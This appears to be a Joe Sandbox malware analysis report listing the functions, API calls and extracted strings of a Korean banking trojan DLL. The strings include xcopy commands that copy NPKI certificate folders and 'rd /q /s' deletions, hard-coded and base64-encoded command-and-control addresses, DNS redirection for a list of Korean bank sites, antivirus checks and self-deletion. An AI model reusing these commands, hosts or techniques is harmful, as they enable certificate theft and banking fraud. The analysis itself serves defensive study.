Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: rand$CountTicksrand
String ID: ekimhuqcroanflvzgdjtxypswb
API String ID: 3923125369-3762667353
Opcode ID: af64965fe20426d731e7306a6c52b6f3676ca0dad364db7fcac0bb6fbcf8137a
Instruction ID: b437bbb5ddae58e17e7d4b32f079fbf535bad8d5f4727950ce3f72a2bcf890de
Opcode Fuzzy Hash: af64965fe20426d731e7306a6c52b6f3676ca0dad364db7fcac0bb6fbcf8137a
Instruction Fuzzy Hash: 34F04436B052004BC204AA2D9D40A6FF797EBC8351F85043EFE89E3352C976980846BA

Function 00403B10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 149fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00403C70
fprintf.MSVCRT ref: 00403CB8
fclose.MSVCRT ref: 00403CBF

Strings

user.ini, xrefs: 00403B69, 00403C6B

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: fclosefopenfprintf
String ID: user.ini
API String ID: 167258513-1338118170
Opcode ID: a6a6fb629337a14a19167b81d9b5a2f6b5228c5787a28112ea1f94429918bd96
Instruction ID: 013291e13a0706baa31a3bd6034cca8677a8dde525ade2333a9cb0047f89d752
Opcode Fuzzy Hash: a6a6fb629337a14a19167b81d9b5a2f6b5228c5787a28112ea1f94429918bd96
Instruction Fuzzy Hash: 2C51D7716483809BD310EB15C845F9BBBE4AFD5718F04096EFA85732C1DB7DA504CA6B

Function 00403060 Relevance: 6.2, APIs: 4, Instructions: 176COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004030F1
VariantClear.OLEAUT32(?), ref: 0040318F
VariantClear.OLEAUT32(?), ref: 0040319B
SysFreeString.OLEAUT32(?), ref: 0040323E

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: ClearFreeStringVariant
String ID:
API String ID: 1438600931-0
Opcode ID: 36ddf7c9e64948429ea50c594583730548552646f732539940beb09dbb1102c1
Instruction ID: 37251e203aaafb338411583485349c6a70529d6897f4196c911f470311200aa0
Opcode Fuzzy Hash: 36ddf7c9e64948429ea50c594583730548552646f732539940beb09dbb1102c1
Instruction Fuzzy Hash: 8D6110B46083818FC300DFA8C884A1AFBE8BF89704F508D6EF89597350C779E949CB56

Function 004036D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 167windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000014B,00000000,00000000), ref: 00403762
SendMessageA.USER32(?,00000143,00000000,?), ref: 00403896

Strings

user.ini, xrefs: 004036F0

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: MessageSend
String ID: user.ini
API String ID: 3850602802-1338118170
Opcode ID: e2a0c54cd5d71bfe7c8f7115dbcc982c8ab97f2cc07cf54eacd2f770ea5d7972
Instruction ID: 54062048f7d8e9c3c5b10c10d2f13be0a112b8bce1456f32d0f06b7dcf1a2bd7
Opcode Fuzzy Hash: e2a0c54cd5d71bfe7c8f7115dbcc982c8ab97f2cc07cf54eacd2f770ea5d7972
Instruction Fuzzy Hash: 8151C6F1508341AFC314EB22C856F5F7BE8ABD5B48F004A2DF655662C1DB789608CBA7

Function 00402170 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 167windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000014B,00000000,00000000), ref: 00402202
SendMessageA.USER32(?,00000143,00000000,?), ref: 00402336

Strings

user.ini, xrefs: 00402190

Memory Dump Source

Source File: 00000004.00000002.1697520062.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1697471266.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697546696.0000000000405000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1697577110.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ufcpp.jbxd

Similarity

API ID: MessageSend
String ID: user.ini
API String ID: 3850602802-1338118170
Opcode ID: 37e4858ff997d67b506cbc70ba22a13177efcd1f51f67c78ac5313dcec2c17d1
Instruction ID: afaa56c09f8307c61a21e81d60edd19e1058136c3d77b862272b9fbdbc9fbc74
Opcode Fuzzy Hash: 37e4858ff997d67b506cbc70ba22a13177efcd1f51f67c78ac5313dcec2c17d1
Instruction Fuzzy Hash: 9E51E9B1508341AFC304EB62C856F5F7BE8ABD5748F400A2DFA55662C1DB789608CBA7

Analysis Process: rundll32.exePID: 6644, Parent PID: 2916COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	1.3%
Signature Coverage:	19.2%
Total number of Nodes:	959
Total number of Limit Nodes:	27

Executed Functions

Function 1000B0A0 Relevance: 75.6, APIs: 31, Strings: 12, Instructions: 387
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 1000B0D9
lstrcat.KERNEL32(?,10019BD4), ref: 1000B0F2
lstrcat.KERNEL32(?,*.*), ref: 1000B101
FindFirstFileA.KERNEL32(?,?,?,1000B62C,?), ref: 1000B113
FindNextFileA.KERNEL32(00000000,?,?,1000B62C,?), ref: 1000B139
lstrcpy.KERNEL32(?,?), ref: 1000B194
lstrcat.KERNEL32(?,10019BD4), ref: 1000B1A7
lstrcat.KERNEL32(?,0000002E), ref: 1000B1B9
_strcmpi.MSVCRT ref: 1000B1C8
GetTickCount.KERNEL32 ref: 1000B252
srand.MSVCRT ref: 1000B259
rand.MSVCRT ref: 1000B264
rand.MSVCRT ref: 1000B280
rand.MSVCRT ref: 1000B28E
rand.MSVCRT ref: 1000B29C

Strings

c:\%c%c%c%c.%c%c%c, xrefs: 1000B2EF
*.*, xrefs: 1000B0FB
., xrefs: 1000B14E
cmd.exe /c rd /q /s "c:\%s", xrefs: 1000B54F
NPKI, xrefs: 1000B1C3
09121307.txt, xrefs: 1000B1EC, 1000B513
%s\%s, xrefs: 1000B204, 1000B520
cmd.exe /c md c:\%s && xcopy /Y "%s" "c:\%s" /S /E /C /H && exit, xrefs: 1000B32A
107.163.241.232:12354/show.php, xrefs: 1000B437
c:\%s, xrefs: 1000B392
/u.php, xrefs: 1000B4E0
P, xrefs: 1000B412

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcatrand$FileFindlstrcpy$CountFirstNextTick_strcmpisrand
String ID: %s\%s$*.*$.$/u.php$09121307.txt$107.163.241.232:12354/show.php$NPKI$P$c:\%c%c%c%c.%c%c%c$c:\%s$cmd.exe /c md c:\%s && xcopy /Y "%s" "c:\%s" /S /E /C /H && exit$cmd.exe /c rd /q /s "c:\%s"
API String ID: 3781771675-2805527149
Opcode ID: bbee613478e399059a034d314f1c1b5c2bab36900512fa1b90fe0e01db607cb7
Instruction ID: eb23a03111fe4c4eb7601a1bdb2af3d3cdc9092a3aaab1ed9f55861fbd2d4e08
Opcode Fuzzy Hash: bbee613478e399059a034d314f1c1b5c2bab36900512fa1b90fe0e01db607cb7
Instruction Fuzzy Hash: 5FD1A6B1508386AFE725CB64CD91BEB77DAEBC8344F004D2DE68A97241DB74D6088B53

Function 100055E0 Relevance: 56.3, APIs: 23, Strings: 9, Instructions: 263
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10005652
socket.WS2_32(00000002,00000002,00000000), ref: 10005664
socket.WS2_32(00000002,00000002,00000000), ref: 10005670
htons.WS2_32(00000035), ref: 10005687
inet_addr.WS2_32(127.0.0.1), ref: 10005699
htons.WS2_32(00000035), ref: 100056A1
inet_addr.WS2_32(?), ref: 100056A8
bind.WS2_32(00000000,?,00000010), ref: 100056B2
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 100056CB
select.WS2_32 ref: 1000570C
Sleep.KERNEL32(000003E8), ref: 10005721
wsprintfA.USER32 ref: 100057C2
malloc.MSVCRT ref: 1000582A
htons.WS2_32(00008180), ref: 10005861
htons.WS2_32(00008182), ref: 10005878
htons.WS2_32(00000001), ref: 10005884
htons.WS2_32(0000C00C), ref: 100058AA
htons.WS2_32(00000001), ref: 100058B3
htons.WS2_32(00000001), ref: 100058BC
htons.WS2_32(00000004), ref: 100058D1
inet_addr.WS2_32(127.0.0.1), ref: 100058EC
closesocket.WS2_32(?), ref: 10005964
closesocket.WS2_32(00000000), ref: 10005967

Strings

www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 100057D9
%s|, xrefs: 100057BB
v3lite, xrefs: 10005814
c:\3.txt, xrefs: 1000594C
127.0.0.1, xrefs: 1000568F, 100058E7
8.8.8.8, xrefs: 1000562D
ahnlab, xrefs: 10005804
alyac, xrefs: 100057F4
iRecv=0, xrefs: 10005947

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: htons$inet_addr$closesocketsocket$SleepStartupbindioctlsocketmallocselectwsprintf
String ID: %s|$127.0.0.1$8.8.8.8$ahnlab$alyac$c:\3.txt$iRecv=0$v3lite$www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 1328051524-4015207955
Opcode ID: 4828b0be3a3e2642fd62dd5c7122c309b17e755da9cbc61a39448c2e2ba24f89
Instruction ID: 8807dec323691aef2f5420f23a93805b2fe18ff7326935eede266de03f692902
Opcode Fuzzy Hash: 4828b0be3a3e2642fd62dd5c7122c309b17e755da9cbc61a39448c2e2ba24f89
Instruction Fuzzy Hash: 52A1AF31608344ABE710DB64CC45BAFBBE5EF88744F00491DF68597290DBB5E988CB57

Function 100051B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 100051CA
GetProcAddress.KERNEL32(00000000,GetExtendedUdpTable), ref: 100051DA
GetExtendedUdpTable.IPHLPAPI(00000000,?,00000001,00000002,00000001,00000000), ref: 100051F1
malloc.MSVCRT ref: 1000520A
GetExtendedUdpTable.IPHLPAPI(00000000,?,00000001,00000002,00000001,00000000,?,?,1000BBB2,00000035), ref: 10005230

Strings

iphlpapi.dll, xrefs: 100051B5
GetExtendedUdpTable, xrefs: 100051D0

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ExtendedTable$AddressLibraryLoadProcmalloc
String ID: GetExtendedUdpTable$iphlpapi.dll
API String ID: 2385667234-1809394930
Opcode ID: 02ae61e850a1fbcb1a22724745b000119a1a924dfa203604408c47b977caae4e
Instruction ID: 95fc7806c394d6749ad61a5c4c73f14e2c7cad3558be80feca9663e5c097cf93
Opcode Fuzzy Hash: 02ae61e850a1fbcb1a22724745b000119a1a924dfa203604408c47b977caae4e
Instruction Fuzzy Hash: 3A21B171204302ABE710DB68EC85BAB37E4EF857A1F014625F995C62C4D736D989CBA2

Function 1000C230 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145
filewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sprintf.MSVCRT ref: 1000C249
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 1000C266
DeviceIoControl.KERNEL32(00000000,00074080,00000000,00000000,?,00000018,?,00000000), ref: 1000C298
GetLastError.KERNEL32(00000400,?,00000000,00000000), ref: 1000C2AC
FormatMessageA.KERNEL32(00001300,00000000,00000000), ref: 1000C2BA

Strings

\\.\PHYSICALDRIVE%d, xrefs: 1000C243

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ControlCreateDeviceErrorFileFormatLastMessagesprintf
String ID: \\.\PHYSICALDRIVE%d
API String ID: 1111953355-613073274
Opcode ID: 5b8cab77ea9baa15ef1ace31b166184b4a38632cffe6251980286e991f52f3d4
Instruction ID: 2bed02b5d34ca8770e45348e80b358c4abd8b06a0c17b21f9c9ba0ca96d4da27
Opcode Fuzzy Hash: 5b8cab77ea9baa15ef1ace31b166184b4a38632cffe6251980286e991f52f3d4
Instruction Fuzzy Hash: 9A4128762503046BF324DA38DC46FEB7395EBD8760F508729FA15CB1C0EEB59A088395

Function 10004F60 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F6A
OpenProcessToken.ADVAPI32(00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F71
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 10004F87
AdjustTokenPrivileges.KERNELBASE ref: 10004FCA
CloseHandle.KERNEL32 ref: 10004FD5

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3038321057-0
Opcode ID: 0a72c3fa9fd0ee3bb1be3fa8c5ebfe263c00cb6316c39cb91c3d4bdc8cf6a7c0
Instruction ID: 7f0ff367e45407a8e9ac9eb591174fee72e0e2360a841818fda95b81e512ac6d
Opcode Fuzzy Hash: 0a72c3fa9fd0ee3bb1be3fa8c5ebfe263c00cb6316c39cb91c3d4bdc8cf6a7c0
Instruction Fuzzy Hash: 6401D7B8608301ABE704DF64C885B6A77E8FBC8B45F40891DF54986290DB74D945CB62

Function 10021806 Relevance: 3.2, APIs: 2, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00100000,00000000,00008000,10021806,00000000), ref: 1002187F
VirtualProtect.KERNEL32(003CB200,00000200,10021770,10021517,?,10021770,00000000,10021517), ref: 100219F2

Memory Dump Source

Source File: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: 1af49aae6d613e156a6d82bb86e3b7e212962c21a75418f354bfad0ed6b494bc
Instruction ID: 3cf54787ec1993463bbc57c4f2f394104f3851b60521f152caf73e44949bcc96
Opcode Fuzzy Hash: 1af49aae6d613e156a6d82bb86e3b7e212962c21a75418f354bfad0ed6b494bc
Instruction Fuzzy Hash: 0B614A7AA001219FDB21CF24DC907E9B7B1EFA5350FA505A4D889AB381D770ADC2CB90

Function 1000C160 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(00000000,0007C088,?,00000020,?,00000210,1000C305,00000000), ref: 1000C1B0

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 922dce9e470f2a9cc2907bd16655acb977d25aac2a30b40252a160cce2e3ee64
Instruction ID: 86cc3cd5e500d09f34f504799c04322c58a7eb8eb055a7fb12ab9f39681c7df9
Opcode Fuzzy Hash: 922dce9e470f2a9cc2907bd16655acb977d25aac2a30b40252a160cce2e3ee64
Instruction Fuzzy Hash: 98F0A96228A3C29EE302CB688855BD2FFA47B76710F0CD7C9E1D85B283C2548598D766

Function 10004990 Relevance: 1.5, APIs: 1, Instructions: 10filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000000FF,?), ref: 100049A4

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 299059951f87d2bd72ad2bc17c95e565a8fb2202d3526d3a88a2d9952b43b325
Instruction ID: 239b56050324291377b7f4a21ae448826d8efed17bf8fca953d792130a950d08
Opcode Fuzzy Hash: 299059951f87d2bd72ad2bc17c95e565a8fb2202d3526d3a88a2d9952b43b325
Instruction Fuzzy Hash: B7C002B9608301BFDA04CB94C888D6BB7E9EBC8340F00C90CF59983210C734E841CB22

Function 10004AA0 Relevance: 1.5, APIs: 1, Instructions: 6processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000000,00000000,100069B2,00000002,00000000,00000000,00000000), ref: 10004AAA

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: 1682b21d8ce4723ada24454b6901746b0d484530990e3df5589c65f42c8cbb76
Instruction ID: 1bfc50ff904c48d483376f5291371ce4043d81f8e4f06f90ef1f9d0dc718a3ab
Opcode Fuzzy Hash: 1682b21d8ce4723ada24454b6901746b0d484530990e3df5589c65f42c8cbb76
Instruction Fuzzy Hash: 9CB09279104200ABD204DB60C984C2BBBE9BB94310B008808F48582110C631D840CB21

Function 1000BB20 Relevance: 75.5, APIs: 28, Strings: 15, Instructions: 267
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10006A50: wsprintfA.USER32 ref: 10006A7E
Part of subcall function 10006A50: GetModuleFileNameA.KERNEL32(00000000,c:\windows\SysWOW64\rundll32.exe,00000104,1000BB2D), ref: 10006A95
Part of subcall function 10006A50: GetModuleFileNameA.KERNEL32(10000000,c:\agtve\yhnvs.dll,00000104), ref: 10006AA7
Part of subcall function 10006A50: strrchr.MSVCRT ref: 10006AD5
Part of subcall function 10006A50: wsprintfA.USER32 ref: 10006AED
Part of subcall function 10006A50: wsprintfA.USER32 ref: 10006AFE
Part of subcall function 10006A50: wsprintfA.USER32 ref: 10006B0F

PathFileExistsA.SHLWAPI(c:\test.1), ref: 1000BB32
GetCurrentProcessId.KERNEL32 ref: 1000BB3C

Part of subcall function 10004FF0: OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1000509A,?,74DF0F00), ref: 10004FFD
Part of subcall function 10004FF0: TerminateProcess.KERNEL32(00000000,00000000), ref: 1000500C
Part of subcall function 10004FF0: CloseHandle.KERNEL32(00000000), ref: 10005017

ExitProcess.KERNEL32 ref: 1000BB4D
CreateMutexA.KERNEL32(00000000,00000001,Mkrnaver.com:6520), ref: 1000BB5D
GetLastError.KERNEL32 ref: 1000BB63
Sleep.KERNEL32(000007D0), ref: 1000BC33
DeleteFileA.KERNEL32(?), ref: 1000BC36
CreateThread.KERNEL32(00000000,00000000,10009230,00000000,00000000,00000000), ref: 1000BC5B
Sleep.KERNEL32(000003E8), ref: 1000BC62

Strings

c:\windows\system32, xrefs: 1000BC0B
Mkrnaver.com:6520, xrefs: 1000BB54
cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "%s", xrefs: 1000BE1C
c:\wiseman.exe, xrefs: 1000BBF8, 1000BC12
d3d3LnNoaW5oYW4uY29tfHNlYXJjaC5kYXVtLm5ldHxzZWFyY2gubmF2ZXIuY29tfHd3dy5rYnN0YXIuY29tLmlrcnx3d3cua25iYW5rLmNvLmtyLmlrcnxvcGVuYmFuay5jdS5jby5rci5pa3J8d3d3LmJ1c2FuYmFuay5jby5rci5pa3J8d3d3Lm5vbmdoeXVwLmNvbS5pa3J8d3d3LnNoaW5oYW4uY29tLmlrcnx3d3cud29vcmliYW5rLmNvbS5p, xrefs: 1000BCAA
www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 1000BCE3
http://107.163.241.232:12354/show.php, xrefs: 1000BCB9
c:\test.1, xrefs: 1000BB2D
SeDebugPrivilege, xrefs: 1000BB7F
c:\agtve, xrefs: 1000BE13
krnaver.com:6520, xrefs: 1000BC8D, 1000BD0B
MTc0LjEzOS42NS44Njo1NjU4MA==, xrefs: 1000BC6D
c:\agtve\ReadMe.txt, xrefs: 1000BB8E, 1000BBDA
123, xrefs: 1000BBBA
aHR0cDovLzE3NC4xMzkuNjUuMjIyOjI1MzY4L25ld3MucGhw, xrefs: 1000BC7E

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: FileProcesswsprintf$CreateModuleNameSleep$CloseCurrentDeleteErrorExistsExitHandleLastMutexOpenPathTerminateThreadstrrchr
